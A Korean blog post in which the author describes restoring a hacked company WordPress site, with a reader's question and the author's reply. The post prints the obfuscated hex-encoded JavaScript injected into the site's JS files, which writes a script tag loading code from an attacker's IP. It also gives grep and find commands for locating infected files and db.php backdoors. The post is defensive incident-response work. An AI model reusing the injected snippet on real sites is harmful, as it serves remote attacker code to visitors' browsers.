워드프레스 JS 파일 감염 해킹 복구
예상치도 못했던 일 때문에 엄청 바쁜 하루를 보낸 듯 하다. 내 블로그가 아니라.. 회사에서 운영하는 블로그가 정상작동하지 않는다는 보고가 있어 살펴보니 요상한 아이피로 jquery.js 요청을 보내고 있었다. 아.. 요고 해킹이구나.. 싶은 생각이 들었다. 운영 중인 사이트였기 때문에 우선 복구가 먼저라고 생각했다. 개발 계정 세팅을 위해 백업해뒀던 소스 코드가 있어 그걸로 일단 파일을 전부 교체했다. wp-contents 디렉토리 내의 파일은 포스팅 데이터와 연관을 있을 수 있기 때문에 조심해서 파일을 교체했다. 그러나 그것만으로 쉽사리 복구는 되지 않았다. 원인을 찾을 수 밖에 없구나.. 하는 생각이 들었다.
우선 테마 디렉토리에 접근해서 새로 생성된 파일이 있나 살펴봤다. 2월 9일 새벽 2시 전후로 생성된 디렉토리가 있었다. 웹서버 접속 로그를 확인했다. 해당 디렉토리의 db.php 파일을 접근한 흔적이 남아있었다. 해당 파일의 코드를 봤다. 워프프레스 코어 파일도 삭제하고.. js 파일에는 이상한 코드를 넣는.. 뭐 이런 짜증나는 것이 있나 싶었다. db.php 파일에 접속한 다른 흔적을 찾아봤다. 플러그인 디렉토리에 듣도보도 못한 플러그인이 두 개 설치된 것을 확인했다. 동일한 IP에서 접속했던 흔적이 남아있었다. 이쯤되면 책상을 한번 쳐야 하지만.. 일단 복구가 급했던 터라.. 눙물이 앞을 가린다.
감엽되면 js 파일의 코드가 아래와 같이 변경된다.
var 0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69
\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31
\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70
\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];d_ocument[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))
위 코드는 https://www.polaris64.net/blog/cyber-security/2017/wordpress-hacks-jquery-js-script-injection 를 참고하면 된다. 구글에서 0xaae8 라고 검색하니.. 자료가 수두룩 나온다. 더 일찍 해봤다면 복구 시간을 좀 더 당길 수 있었는데.. 암튼 위 포스트를 참고해서 감염된 파일을 찾아서 백업해둔 파일로 교체를 하거나 플러그인의 경우는 삭제 후 새로 설치하기도 했다. 감염된 파일은 아래 명령을 통해 검색했다.
# grep -rsl '0xaae8' *
db.php 파일이 업로된 플러그인이나 테마가 있는지는 아래 명령을 통해 검색했다.
# find ./ -name "db.php" -ls
감염된 파일을 삭제하거나 교체를 해서 복구를 했지만.. 브라우저에서는 여전히 나쁜 IP로 요청을 보내고 있었다. js 파일의 경우 브라우저 캐시가 남기 때문인데 캐시를 삭제해주니 정상 작동됐다.
참고
- https://www.polaris64.net/blog/cyber-security/2017/wordpress-hacks-jquery-js-script-injection
- https://malware.expert/malware/db-php/
안녕하세요. 글 잘봤습니다.
저희 회사 사이트가 해킹당해 관리자페이지 접속시 완전 깨져서요… 컨트롤이 안됩니다.
워드프레스로 제작된 사이트인데 몇일전 악성코드 삽입돼 해당코드 삭제하고 난뒤 몇일후
다시 관리자페이지 접속하니 완전깨져서 나오네요
복구방법이 없을까요?
안녕하세요.
저의 경우는 우선
grep -rsl '0xaae8' *
명령을 통해 감염된 파일을 찾고 해당 파일을 워드프레스 원본 파일로 복구했습니다. 감염된 파일이 많은 경우는 DB 데이터를 백업하신 후 워드프레스 전체 파일을 모두 덮어쓰는 방법도 고려해보셔야 할 것 같습니다.